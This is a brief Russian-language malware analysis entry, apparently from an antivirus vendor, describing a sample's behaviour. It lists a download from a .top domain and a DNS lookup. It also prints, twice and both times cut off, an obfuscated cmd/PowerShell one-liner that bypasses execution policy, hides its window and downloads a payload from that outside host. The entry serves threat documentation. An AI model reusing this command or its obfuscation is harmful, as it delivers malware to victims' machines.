Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PoWERShEll.eXE ^-^E^xeC^u^TIo^n^P^oL^IcY By^p^ASS -noP^r^OFI^le ^-wInD^oW^st^yLe ^hiDd^eN^ ^(^neW-O^bje^Ct^ ^SYs^TEm^.^Net^.webClI^ent).^D^OwNloAdFI^Le('http://www.fapoergol...
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PoWERShEll.eXE ^-^E^xeC^u^TIo^n^P^oL^IcY By^p^ASS -noP^r^OFI^le ^-wInD^oW^st^yLe ^hiDd^eN^ ^(^neW-O^bje^Ct^ ^SYs^TEm^.^Net^.webClI^ent).^D^OwNloAdFI^Le('http://www.fapoergol...' (со скрытым окном)
